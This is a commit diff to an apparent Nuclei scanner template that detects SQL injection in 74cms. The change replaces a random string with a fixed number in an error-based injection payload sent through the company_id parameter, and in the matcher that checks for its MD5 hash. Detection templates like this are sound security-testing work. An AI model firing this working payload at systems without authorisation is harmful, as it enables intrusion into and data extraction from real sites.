Update 74cms-sqli.yaml

patch-1
Ritik Chaddha 2022-06-30 08:29:32 +05:30 committed by GitHub
parent b25fd9d35b
commit b1f9fc94d6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 2 deletions

View File

@ -14,15 +14,18 @@ info:
cwe-id: CWE-89 cwe-id: CWE-89
tags: 74cms,sqli tags: 74cms,sqli
variables:
num: "999999999"
requests: requests:
- method: GET - method: GET
path: path:
- '{{BaseURL}}/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=test") and extractvalue(1,concat(0x7e,md5("{{randstr}}"))) -- a' - '{{BaseURL}}/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=test") and extractvalue(1,concat(0x7e,md5({{num}}))) -- a'
matchers: matchers:
- type: word - type: word
words: words:
- '{{md5("{{randstr}}")}}' - '{{md5({{num}})}}'
part: body part: body
# Enhanced by ritikchaddha on 2022/05/05 # Enhanced by ritikchaddha on 2022/05/05